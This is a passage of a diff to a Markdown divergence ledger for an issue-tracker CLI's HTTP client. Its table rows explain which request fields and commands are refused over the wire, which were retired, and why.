refusal worth having: dropping this guard erases a row the caller had asked not to erase, with nothing left to compare afterwards. The multi-id refusal the wire attaches to it is deliberately NOT anticipated client-side: distinctness is measured after trimming and collapsing duplicates, which is the normalization this role sends its ids verbatim to avoid re-implementing | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-ReopenRequest.Provenance | refuse | `ReopenRequest.Provenance` | labeling a reopen's history entry refuses | reopenIssue publishes no provenance member and the server writes its own fixed label (`bd serve: reopen issue`); see W-UpdateRequest.Provenance | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-AddDependenciesRequest.SkipPerEdgeCycleCheck | refuse | `AddDependenciesRequest.SkipPerEdgeCycleCheck` `--no-cycle-check` | `bd dep add --no-cycle-check` refuses on the bulk --file path | the wire deliberately leaves SkipPerEdgeCycleCheck UNPUBLISHED and therefore false (internal/httpapi/dependency_edit.go). The single-edge spelling forwards false and only gates the post-hoc cycle warning, which the wire-backed CycleDetector serves, so it is served-with-note rather than refused | D7, D8 row 18, D9 L16 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-IssuePatch.Status | retired | — | `bd update -s` used to refuse | RETIRED with client wave ga-7i6by. IssuePatchBody published `status` with upstream #5484 and this client's encoder now emits it; close and reopen still carry the lifecycle semantics a status write has nowhere to put — the reason and session under first-close-wins, the done-status normalization, the already-closed idempotence flag — and stay the operations to reach for. What this member serves is the status moved ALONGSIDE other fields in one transaction, which is the thing two calls cannot do | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-IssuePatch.Assignee | retired | — | assignment and unassignment through update used to refuse | RETIRED with W-IssuePatch.Status (ga-7i6by). The EMPTY STRING is the half that makes this member more than a rename: it UNASSIGNS, so a client that skipped an empty value would turn a real edit into no edit at all. The anti-steal fence around it is the server's and is unchanged — a transfer away from a live foreign in-progress owner still refuses with already_claimed, and the two bypasses (`force_assignee_transfer` and a matched `expected_assignee`) are both sent — the first since W-UpdateRequest.ForceAssigneeTransfer retired, the second since the guard wave | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-IssuePatch.Metadata | retired | — | a metadata patch used to refuse | RETIRED with W-IssuePatch.Status (ga-7i6by). IssuePatchBody publishes the same replace/merge/set/unset algebra MetadataPatch carries, member for member, so the client projects it rather than translating it and the ordering rule — merge, then set in key order, then unset, with replace refusing beside the other three — stays the ROLE's, applied by the same body a local workspace runs. The CLEAR is the one state the wire's own struct cannot spell (`omitempty` omits it), which is why the document is built as a map and an empty replacement travels as the empty document. The compare-and-set door is a different question and is served by its own accessor (issues.casMetadata, ga-7i6by's other half) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-IssuePatch.SpecID | refuse | `IssuePatch.SpecID` | a spec-id edit refuses | neither IssuePatchBody nor ApplyPatchBody publishes spec_id (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-IssuePatch.AwaitID | refuse | `IssuePatch.AwaitID` | an await-id edit refuses | neither IssuePatchBody nor ApplyPatchBody publishes await_id (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-IssuePatch.Owner | refuse | `IssuePatch.Owner` | an owner edit refuses ON updateIssue | IssuePatchBody excludes owner — which the document itself calls an accident of order rather than a decision, since ApplyPatchBody DOES publish it and issues:batchApply's update item carries it (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-IssuePatch.ClosedBySession | refuse | `IssuePatch.ClosedBySession` | a closed-by-session edit refuses | neither IssuePatchBody nor ApplyPatchBody publishes closed_by_session (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-IssuePatch.Persistence | refuse | `IssuePatch.Persistence` | a persistence-mode edit refuses | neither body publishes persistence: moving a row between planes mid-plan is a different act from writing its fields (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-IssuePatch.ParentID | retired | — | a parent re-hang through update used to refuse | RETIRED with W-IssuePatch.Status (ga-7i6by). It is ONE call rather than a remove-then-add pair, which is the whole reason the member exists: the two-call spelling leaves the issue parentless if the second call fails, and dependencies:add/remove — still the general write side of the graph over this wire — cannot express the atomic replacement. The empty string removes every parent-child edge, so it travels like `assignee`'s empty string rather than being skipped. The graph refusals it earns are the server's and arrive typed: a cycle through the issue's own descendant as the PLAIN dependency_cycle, and an existing edge of another type as dependency_exists | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-CreateBatchRequest.Provenance | refuse | `CreateBatchRequest.Provenance` | labeling a batch create's history entry refuses | batchCreateIssues publishes actor and items only, and the server writes its own label; see W-UpdateRequest.Provenance. It is the one Provenance whose ABSENCE is visible in shipped history — the surface this role serves has always named its source file in the entry (`bd: create 3 issue(s) from plan.md`) | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-CreateBatchRequest.ForceIDPrefix | refuse | `CreateBatchRequest.ForceIDPrefix` `--force` | permitting explicit ids outside the workspace's configured prefix refuses | the wire publishes no such member — and could not honor one, since it publishes no explicit id for the flag to permit (W-BatchCreateItem.Issue). Dropping it would answer a request about WHERE ids may be written with a batch whose ids the server chose | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-BatchCreateItem.Issue | refuse | `BatchCreateItem.Issue` | an item whose Issue populates any member outside the wire's eight refuses, naming the member | apigen.BatchCreateItem carries title, description, design, acceptance_criteria, priority, issue_type, assignee and labels and nothing else, while the role accepts far more of a types.Issue: an explicit id, the wisp flags, metadata, the storage class, every timestamp, the gate/molecule/event fields. ONE row rather than one per member because the reason is one reason — the wire's item vocabulary — and forty rows repeating it would say nothing a reader does not learn here. Exhaustiveness is held by REFLECTION instead: the client's carried and role-ignored tables are checked against types.Issue field by field, so a member added upstream is refused the day it lands rather than dropped until someone notices. The members the role ITSELF ignores on a create (ContentHash, RowVersion, lease, compaction, routing overrides, hydration flags) are not in this population and are not refused: a local create drops them too. Nor is a CreatedBy that names the request's actor: the server stamps every item's created_by from the actor (W-CreateRequest.Issue), so that value arrives as written and only a CreatedBy naming someone else refuses | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-CreateDependency.Reverse | refuse | `CreateDependency.Reverse` | an edge written from the target back to the new issue refuses ON A BATCH CREATE | BatchCreateDependency carries target_id and type only; dropping Reverse would write the edge in the OPPOSITE direction from the one asked for, which is a different graph. createIssue's CreateIssueDependency DOES publish it, and the single-create path sends it (internal/httpapi/spec BatchCreateDependency) | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-CreateDependency.Metadata | refuse | `CreateDependency.Metadata` | typed edge metadata refuses ON A BATCH CREATE | BatchCreateDependency publishes no metadata member, and a waits-for gate whose metadata was dropped is a readiness rule that silently does not hold. createIssue's edge publishes it, and the single-create path sends it verbatim (internal/httpapi/spec BatchCreateDependency) | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-CreateDependency.ThreadID | refuse | `CreateDependency.ThreadID` | associating an edge with a discussion thread refuses | neither BatchCreateDependency nor CreateIssueDependency publishes a thread member (internal/httpapi/spec BatchCreateDependency) | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-CreateRequest.IDPrefix | refuse | `CreateRequest.IDPrefix` | overriding the prefix an explicit, unforced id is checked against refuses | createIssue publishes no `id_prefix`, and the omission is the SERVER's decision rather than a gap (internal/httpapi/create.go): the field exists because a workspace's own config.yaml prefix wins over the database's and only a local front door can read that file, so a remote caller's config.yaml describes a workspace this server does not serve. Publishing it would let a caller override the served workspace's prefix rule from outside it. Dropping it instead would check the id against the SERVER's prefix while the caller believed it was checked against theirs — the same request, two different answers to 'may this workspace mint this id'. It refuses only where it would ACT: the role reads the override for nothing but an explicit id it was not told to force, so a create that mints its id, or sets ForceIDPrefix, is the same request with or without it and is sent without it. That matters because `bd create` sends the workspace's prefix on EVERY create, so an unconditional refusal would refuse every create in a workspace whose config.yaml names one | D8 row 16 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-CreateRequest.Issue | refuse | `CreateRequest.Issue` | a create whose Issue populates any member outside the wire's twenty refuses, naming the member | createIssue publishes the whole create VOCABULARY — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue: the creation time (created_at), because a caller-supplied creation time makes the row disagree with the journal entry that records it and re-dating history is what an import is for; and spec_id, await_*, mol_type, wisp_type, work_type, storage_class, source_*, pinned, is_template and the event quartet, which this surface publishes on no operation, read or write. ONE row rather than one per member for W-BatchCreateItem.Issue's reason — the reason is one reason — and exhaustiveness is held by the same REFLECTION over types.Issue, sharing the role-ignored table with the batch so the two operations cannot disagree about what the ROLE drops. Issue.Comments and Issue.Dependencies are not in this population: the role itself refuses them, so a local create fails too and this is validation rather than divergence. created_by is published on no create shape either, but every one of them STAMPS it from the request's actor (internal/httpapi's create.go, batch_create.go and batch_apply.go) — the local front doors' own rule, since the role copies the member rather than stamping it. So a CreatedBy that names the actor, which is what every CLI create sends, arrives as written, and only one naming someone else refuses: the stamp would silently replace it. A server that predates the stamp stores an empty created_by for that one member | D8 row 16 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-CreateItem.Issue | refuse | `CreateItem.Issue` | a create ITEM whose Issue populates any member outside the wire's twenty refuses, naming the member | ApplyCreateItem publishes exactly createIssue's create vocabulary — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue, for the reasons W-CreateRequest.Issue gives in full. It is a row of its OWN rather than a citation of that one because the operations are different: a caller auditing why their PLAN refuses must not be sent to a row about a single create, and the two can diverge the day either vocabulary moves. The partition itself is SHARED — one carried table, one role-ignored table, held against types.Issue by the same reflection — so they cannot disagree about what the wire carries or about what the role drops. Issue.Comments and Issue.Dependencies are not in this population and are refused as validation on both sides: edges in this role are ITEMS, so a create item has nowhere to put one at all. Nor is a CreatedBy that names the request's actor: the server stamps every create item's created_by from the actor (W-CreateRequest.Issue), so that value arrives as written and only a CreatedBy naming someone else refuses | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-ApplyPatch.ParentID | refuse | `IssuePatch.ParentID` | a parent re-hang inside an update ITEM refuses, where the same member serves on updateIssue | ApplyPatchBody deliberately publishes no parent_id, and the absence is this operation's ONE-EDGE-ONE-SPELLING rule rather than a gap: a parent is a dep_add item of type parent-child, so the ORDER of every edge in a plan stays total and there is exactly one place an edge is written. The single patch has no ordering to express and publishes the member directly (W-IssuePatch.ParentID, retired by client wave ga-7i6by), which is why the same Go field is carried by one document and refused by the other. Refusing is not a loss of capability, only of spelling: a plan re-hangs a parent with a dep_add item, which is the atomic replacement in the position the caller declared it | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-DepAddItem.HasSpawner | refuse | `DepAddItem.HasSpawner` | a waits-for edge ITEM that names its spawner refuses | ApplyDepAddItem publishes source, target, type and metadata and no spawner member, and the flag asks for a write only the ROLE can make: metadata's spawner_id, stamped from the resolved target once every id in the batch exists, because a target named by key has no id before then. Dropping the flag would store the edge's gate-only metadata, so an edge whose caller named a spawner would carry none. On every other edge type the role ignores the flag and stores the same row either way, so there it is dropped rather than refused. Upstream ask: a spawner member on ApplyDepAddItem, which retires this row | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-DepAddItem.ThreadID | refuse | `DepAddItem.ThreadID` | associating an edge ITEM with a discussion thread refuses | ApplyDepAddItem publishes no thread member, and no operation on this surface does: W-CreateDependency.ThreadID refuses the same column on both create edges. Dropping it would store the edge with no thread, so a replies-to edge would lose the conversation it was written for. It is a row of its own rather than a citation of that one for W-CreateItem.Issue's reason: the operation is different | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-IssuePatch.Labels | retired | `IssuePatch.Labels` | RETIRED — the whole ordered label edit crosses: `labels` replaces, `add_labels` adds, `remove_labels` removes | upstream #5510 published add_labels and remove_labels on IssuePatchBody and client wave ga-jpywb emits both, which is the retirement path this row named. The three travel as FLAT siblings where applyBatch nests them under one object, and the server assembles all three into ONE issueops.LabelPatch — so the algebra the role states (replace, then add, then remove; removal wins) is applied server-side and is never this client's to arrange. WHAT THE REFUSAL WAS PROTECTING is worth keeping after the refusal is gone: degrading an incremental edit onto the replace-only member would have meant reading the set, adding to it and writing it back, which silently drops any label another writer added in between. `bd label add` and every agent that tags work concurrently are exactly that caller, so the refusal was right for as long as the members did not exist — and it is the members that retire it, not a change of mind about the read-modify-write | D8 refuse-not-drop, open questions (tracked-refusal roadmap) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-CloseBatchRequest.ClaimNext | refuse | `CloseBatchRequest.ClaimNext` | folding an atomic claim-after-close onto a batch close refuses | batchCloseIssues publishes actor, force, items and session only — no claim_next member exists for this client to encode a ReadyRequest into, and none exists on the response for a claimed issue to decode back out of. Dropping the field silently would answer a caller's claim-after-close with a close that quietly never claimed anything; see W-CreateBatchRequest.Provenance for the same refuse-not-drop reasoning applied to an absent wire member. Deferred: S13 schedules ReadyLister (and with it, the ready-side plumbing a composed claim would need); no slice currently schedules claim_next itself | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-SweepRequest.ProtectLiveDependents | refuse | `SweepRequest.ProtectLiveDependents` | protecting live structural dependents during a sweep refuses | sweepIssues publishes dry_run, tier, closed_before, pattern, protect_referenced and actor only; no protect_live_dependents member exists for this client to send, and the server has no stored-edge lookup to run on this client's behalf. `bd purge` from a local workspace still gets the protection; over http it must ask without it or not at all | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-SweepRequest.Limit | refuse | `SweepRequest.Limit` | bounding one sweep call and draining a backlog over several refuses | sweepIssues publishes no limit member and SweepResult publishes no remaining member for a bounded caller to loop on; a non-zero Limit refuses before the dial rather than running the unbounded sweep silently. issueops.SweepResult.Remaining is therefore always zero from this client — not a dropped count, since nothing bounded the call that would have left one | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | ## Command and flag refusals (D7) @@ -140,18 +147,18 @@ Whole commands, and the flag modes of served commands, that dispatch onto method | ID | Kind | Field / flag | Divergence | Why | Spec | Pinned test | |---|---|---|---|---|---|---| -| F-ready-explain | refuse | `--explain` | `bd ready --explain` refuses | it dispatches onto raw GetBlockedIssues/GetIssuesByIDs/GetDependencyCounts/DetectCycles, three of which are on the unsupported allowlist | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-ready-mol | refuse | `--mol` | `bd ready --mol` refuses | its molecule subgraph load reaches findHierarchicalChildren, an IDPrefix SearchIssues shape the parent-walk bridge cannot express (E-IssueFilter.noShape). GetDependencyRecords and GetDependentsWithMetadata, which the same load also calls, stopped being the blocker when ga-b8ddd.30 flipped them onto the wire | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-ready-gated | refuse | `--gated` | `bd ready --gated` refuses | it dispatches onto a filtered SearchIssues shape the bridge cannot express, plus GetDependents | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-show-thread | refuse | `--thread` | `bd show --thread` refuses | showMessageThread renders each reply's sender, recipient, body and timestamp off GetDependentsWithMetadata, but ga-b8ddd.30 flipped that read onto getIssue's include_dependents parameter, which carries the collectDependents SHALLOW projection (id/status/type/priority/title + edge type only, be-4d36f2). Those fields come back zeroed over http and zero-timestamp replies sort ahead of the root — a silent-wrong degrade the refuse-over-degrade doctrine forbids. Retires with a full-dependent wire shape, a server-side ask | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-show-refs | refuse | `--refs` | `bd show --refs` refuses | showIssueRefs's --json marshals the full GetDependentsWithMetadata rows, but the wire answers the same collectDependents shallow projection, so created_at/assignee/description come back zeroed and the JSON differs from a local workspace. The text render consumes only the shallow fields, but the flag cannot be split from its --json mode, so the whole flag refuses rather than serve a divergent JSON silently | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-show-children | refuse | `--children` | `bd show --children` refuses | showIssueChildren's --json marshals the full GetDependentsWithMetadata rows, the same collectDependents shallow projection as --refs, so created_at/assignee/description come back zeroed over http; `bd children` refuses as a whole command for the same reason | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-mol-ready | refuse | — | `bd mol ready` refuses | it is the same runMolReadyGatedCore body as `bd ready --gated` | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-blocked | refuse | — | `bd blocked` refuses | it is raw GetBlockedIssues, which is on the unsupported allowlist | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-count | retired | — | RETIRED — `bd count` is SERVED whole | it said the command refuses because "issueops.Counter has no wire operation; a counts operation is a filed upstream ask", and that ask was DELIVERED: upstream #5508 published countIssues, client wave ga-icks1 wired the Counter accessor, and `count` moved from httpRefusedCommands into httpServedCommands. D8 row 20 and docs/reference/http-workspaces.md have said so since; this row was the last place that did not. Every flag the command publishes reaches a wire member — the whole predicate, the six instant bounds, the three emptiness checks, --include-infra, and the five --by-* flags as the one group_by parameter — so there is no refused mode left to name either. HOW IT ROTTED IS THE PART WORTH KEEPING. Its pin was TestClassifiedRefusedCommandsRefuseBeforeTheOSSPreRun, which walks httpRefusedCommands and drives every entry. The moment `count` left that table the pin stopped covering this row — it stayed LIVE BY NAME, so the well-formedness gate that resolves PinnedBy to a real test kept passing, and DEAD BY COVERAGE, so nothing anywhere asserted the row's claim. A ledger row can be false for a whole wave under a green pin, which is what TestFRowsAgreeWithTheCommandClassification now makes impossible | D7 (RETIRED), D8 row 20 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-serve | refuse | — | `bd serve` refuses against an http workspace | the OSS classifier would happily serve it from the opened store, and a bd serve re-serving a remote bd serve is a proxy chain nobody designed: run serve where the database is | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-close | refuse | — | `bd close` is SERVED whole — single id, several ids and --claim-next — over issues:batchClose; it refuses only against a DOWN-LEVEL server that does not advertise issues.batchClose | the CLI's close front door routes every id, single-id included, through BatchCloser.CloseBatch, and Lifecycle.Close has zero CLI callers at tip. The wire now carries issues:batchClose, so the whole CloseBatchRequest — multi-item and the atomic ClaimNext included — is one wire call and one server-side transaction; nothing is composed or refused where the capability is present. Against a server too old to advertise issues.batchClose, servesBatchClose() reads the handshake snapshot and routes around the batch dial entirely, so no Preflight runs and no wire.ErrCapabilityAbsent is raised: the down-level leg's refuseUnservedCloseShape raises the STORE's own *ErrHTTPUnsupported (batchcloser.go), and cmd/bd's renderEscapedHTTPRefusal turns it into the capability-absent taxonomy (case 2) by scanning the served command's own capability list for the first token the server does not advertise — issues.batchClose, which is the token it then names to upgrade to. The single-item, no-ClaimNext shape still composes onto closeIssue in that down-level leg (see L18); the shapes that cannot compose refuse there. The item cap is L-close-cap | D8 row 17 (resolved, Wire), D9 L18, D9 L-close-cap | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| F-partial-id | refuse | — | partial-id resolution refuses with its own taxonomy text | SearchIssueIDs has no wire operation, and the client cannot tell a partial id from a full id that does not exist — so the refusal text covers both outcomes rather than falling through to a raw search error | D11 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| F-ready-explain | refuse | `--explain` | `bd ready --explain` refuses | it dispatches onto raw GetBlockedIssues/GetIssuesByIDs/GetDependencyCounts/DetectCycles, three of which are on the unsupported allowlist | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-ready-mol | refuse | `--mol` | `bd ready --mol` refuses | its molecule subgraph load reaches findHierarchicalChildren, an IDPrefix SearchIssues shape the parent-walk bridge cannot express (E-IssueFilter.noShape). GetDependencyRecords and GetDependentsWithMetadata, which the same load also calls, stopped being the blocker once they flipped onto the wire | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-ready-gated | refuse | `--gated` | `bd ready --gated` refuses | it dispatches onto a filtered SearchIssues shape the bridge cannot express, plus GetDependents | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-show-thread | refuse | `--thread` | `bd show --thread` refuses | showMessageThread renders each reply's sender, recipient, body and timestamp off GetDependentsWithMetadata, but that read was flipped onto getIssue's include_dependents parameter, which carries the collectDependents SHALLOW projection (id/status/type/priority/title + edge type only, be-4d36f2). Those fields come back zeroed over http and zero-timestamp replies sort ahead of the root — a silent-wrong degrade the refuse-over-degrade doctrine forbids. Retires with a full-dependent wire shape, a server-side ask | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-show-refs | refuse | `--refs` | `bd show --refs` refuses | showIssueRefs's --json marshals the full GetDependentsWithMetadata rows, but the wire answers the same collectDependents shallow projection, so created_at/assignee/description come back zeroed and the JSON differs from a local workspace. The text render consumes only the shallow fields, but the flag cannot be split from its --json mode, so the whole flag refuses rather than serve a divergent JSON silently | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-show-children | refuse | `--children` | `bd show --children` refuses | showIssueChildren's --json marshals the full GetDependentsWithMetadata rows, the same collectDependents shallow projection as --refs, so created_at/assignee/description come back zeroed over http; `bd children` refuses as a whole command for the same reason | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-mol-ready | refuse | — | `bd mol ready` refuses | it is the same runMolReadyGatedCore body as `bd ready --gated` | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-blocked | refuse | — | `bd blocked` refuses | it is raw GetBlockedIssues, which is on the unsupported allowlist | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-count | retired | — | RETIRED — `bd count` is SERVED whole | it said the command refuses because "issueops.Counter has no wire operation; a counts operation is a filed upstream ask", and that ask was DELIVERED: upstream #5508 published countIssues, client wave ga-icks1 wired the Counter accessor, and `count` moved from httpRefusedCommands into httpServedCommands. D8 row 20 and docs/reference/http-workspaces.md have said so since; this row was the last place that did not. Every flag the command publishes reaches a wire member — the whole predicate, the six instant bounds, the three emptiness checks, --include-infra, and the five --by-* flags as the one group_by parameter — so there is no refused mode left to name either. HOW IT ROTTED IS THE PART WORTH KEEPING. Its pin was TestClassifiedRefusedCommandsRefuseBeforeTheOSSPreRun, which walks httpRefusedCommands and drives every entry. The moment `count` left that table the pin stopped covering this row — it stayed LIVE BY NAME, so the well-formedness gate that resolves PinnedBy to a real test kept passing, and DEAD BY COVERAGE, so nothing anywhere asserted the row's claim. A ledger row can be false for a whole wave under a green pin, which is what TestFRowsAgreeWithTheCommandClassification now makes impossible | D7 (RETIRED), D8 row 20 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-serve | refuse | — | `bd serve` refuses against an http workspace | the OSS classifier would happily serve it from the opened store, and a bd serve re-serving a remote bd serve is a proxy chain nobody designed: run serve where the database is | D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-close | refuse | — | `bd close` is SERVED whole — single id, several ids and --claim-next — over issues:batchClose; it refuses only against a DOWN-LEVEL server that does not advertise issues.batchClose | the CLI's close front door routes every id, single-id included, through BatchCloser.CloseBatch, and Lifecycle.Close has zero CLI callers at tip. The wire now carries issues:batchClose, so the whole CloseBatchRequest — multi-item and the atomic ClaimNext included — is one wire call and one server-side transaction; nothing is composed or refused where the capability is present. Against a server too old to advertise issues.batchClose, servesBatchClose() reads the handshake snapshot and routes around the batch dial entirely, so no Preflight runs and no wire.ErrCapabilityAbsent is raised: the down-level leg's refuseUnservedCloseShape raises the STORE's own *ErrHTTPUnsupported (batchcloser.go), and cmd/bd's renderEscapedHTTPRefusal turns it into the capability-absent taxonomy (case 2) by scanning the served command's own capability list for the first token the server does not advertise — issues.batchClose, which is the token it then names to upgrade to. The single-item, no-ClaimNext shape still composes onto closeIssue in that down-level leg (see L18); the shapes that cannot compose refuse there. The item cap is L-close-cap | D8 row 17 (resolved, Wire), D9 L18, D9 L-close-cap | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| F-partial-id | refuse | — | partial-id resolution refuses with its own taxonomy text | SearchIssueIDs has no wire operation, and the client cannot tell a partial id from a full id that does not exist — so the refusal text covers both outcomes rather than falling through to a raw search error | D11 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the 